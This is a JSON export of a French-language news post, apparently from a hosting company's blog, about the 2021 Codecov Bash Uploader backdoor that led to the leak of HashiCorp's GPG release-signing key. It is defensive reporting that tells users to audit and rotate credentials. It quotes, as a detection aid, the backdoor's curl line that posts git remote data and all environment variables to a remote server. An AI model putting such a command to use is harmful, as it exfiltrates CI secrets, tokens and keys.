{"id":100037,"date":"2021-04-27T10:22:34","date_gmt":"2021-04-27T08:22:34","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp"},"modified":"2021-04-27T10:22:34","modified_gmt":"2021-04-27T08:22:34","slug":"vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","title":{"rendered":"L'injection de code malveillant dans le script Codecov a conduit \u00e0 la compromission de la cl\u00e9 PGP de HashiCorp.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

La soci\u00e9t\u00e9 HashiCorp, connue pour le d\u00e9veloppement des outils open source Vagrant, Packer, Nomad et Terraform, a annonc\u00e9 la fuite d'une cl\u00e9 GPG secr\u00e8te utilis\u00e9e pour cr\u00e9er des signatures num\u00e9riques v\u00e9rifiant les releases. Les attaquants ayant eu acc\u00e8s \u00e0 la cl\u00e9 GPG pouvaient potentiellement apporter des modifications cach\u00e9es aux produits de HashiCorp, en les certifiant avec une signature num\u00e9rique valide. Cependant, la soci\u00e9t\u00e9 a d\u00e9clar\u00e9 qu'aucune trace de tentatives de modification n'a \u00e9t\u00e9 trouv\u00e9e lors de l'audit effectu\u00e9. <\/p>\n

Actuellement, la cl\u00e9 GPG compromise a \u00e9t\u00e9 r\u00e9voqu\u00e9e et un nouveau cl\u00e9 a \u00e9t\u00e9 mise en circulation \u00e0 la place. Le probl\u00e8me a uniquement affect\u00e9 la v\u00e9rification \u00e0 l'aide des fichiers SHA256SUM et SHA256SUM.sig, et n'a pas concern\u00e9 la cr\u00e9ation de signatures num\u00e9riques pour les paquets Linux DEB et RPM fournis via releases.hashicorp.com, ainsi que les m\u00e9canismes de validation des releases pour macOS et Windows (AuthentiCode). <\/p>\n

La fuite s'est produite en raison de l'utilisation dans l'infrastructure du script Codecov Bash Uploader (codecov-bash), con\u00e7u pour t\u00e9l\u00e9charger des rapports de couverture \u00e0 partir de syst\u00e8mes d'int\u00e9gration continue. Lors de l'attaque contre la soci\u00e9t\u00e9 Codecov, une backdoor a \u00e9t\u00e9 discr\u00e8tement int\u00e9gr\u00e9e dans ce script, permettant l'envoi de mots de passe et de cl\u00e9s de chiffrement aux serveur<\/a> cybercriminels. <\/p>\n

Pour le piratage, les attaquants ont exploit\u00e9 une faille dans le processus de cr\u00e9ation de l'image Docker de Codecov, permettant d'extraire des donn\u00e9es d'acc\u00e8s \u00e0 GCS (Google Cloud Storage), n\u00e9cessaires pour apporter des modifications au script Bash Uploader, distribu\u00e9 depuis codecov.io. Les modifications ont \u00e9t\u00e9 effectu\u00e9es d\u00e8s le 31 janvier, restant non d\u00e9tect\u00e9es pendant deux mois et permettant aux attaquants d'extraire des informations stock\u00e9es dans les environnements des syst\u00e8mes d'int\u00e9gration continue des clients. Gr\u00e2ce au code malveillant ajout\u00e9, les attaquants pouvaient obtenir des informations sur le d\u00e9p\u00f4t Git test\u00e9 ainsi que sur toutes les variables d'environnement, y compris celles contenant des jetons, des cl\u00e9s de chiffrement et des mots de passe, transmis aux syst\u00e8mes d'int\u00e9gration continue pour acc\u00e9der au code des applications, aux d\u00e9p\u00f4ts et \u00e0 des services tels qu'Amazon Web Services et GitHub. <\/p>\n

En plus de l'appel direct, le script Codecov Bash Uploader a \u00e9t\u00e9 utilis\u00e9 dans d'autres chargeurs tels que Codecov-action (Github), Codecov-circleci-orb et Codecov-bitrise-step, dont les utilisateurs sont \u00e9galement confront\u00e9s au probl\u00e8me. Tous les utilisateurs de codecov-bash et des produits associ\u00e9s sont invit\u00e9s \u00e0 auditer leurs infrastructures, ainsi qu'\u00e0 changer leurs mots de passe et cl\u00e9s de chiffrement. Pour v\u00e9rifier la pr\u00e9sence d'une porte d\u00e9rob\u00e9e dans le script, il faut rechercher la ligne curl -sm 0.5 -d \u00ab$(git remote -v)<<<< ENV $(env)\u00bb http:\/\/\/upload\/v2 || true
\n
Source : opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u043b\u0438\u0437\u044b. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a GPG-\u043a\u043b\u044e\u0447\u0443, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u043b\u0438 \u0432\u043d\u0435\u0441\u0442\u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b HashiCorp, \u0437\u0430\u0432\u0435\u0440\u0438\u0432 \u0438\u0445 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u0441\u043b\u0435\u0434\u043e\u0432 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0439 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100037","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47L'injection de code malveillant dans le script Codecov a entra\u00een\u00e9 la compromission de la cl\u00e9 PGP de HashiCorp | ProHoster","description":"La soci\u00e9t\u00e9 HashiCorp, connue pour le d\u00e9veloppement d'outils open source tels que Vagrant, Packer, Nomad et Terraform, a annonc\u00e9 la fuite d'une cl\u00e9 GPG secr\u00e8te, utilis\u00e9e pour cr\u00e9er des signatures num\u00e9riques validant les publications.","canonical_url":"https:\/\/prohoster.info\/fr\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"fr_FR","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442 Codecov \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 PGP-\u043a\u043b\u044e\u0447\u0430 HashiCorp | ProHoster","og:description":"\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u043b\u0438\u0437\u044b.","og:url":"https:\/\/prohoster.info\/fr\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-04-27T08:22:34+00:00","article:modified_time":"2021-04-27T08:22:34+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100037","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-04-27 08:40:28","updated":"2022-10-05 15:50:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/100037","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/comments?post=100037"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/100037\/revisions"}],"predecessor-version":[{"id":172925,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/100037\/revisions\/172925"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/media?parent=100037"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/categories?post=100037"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/tags?post=100037"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}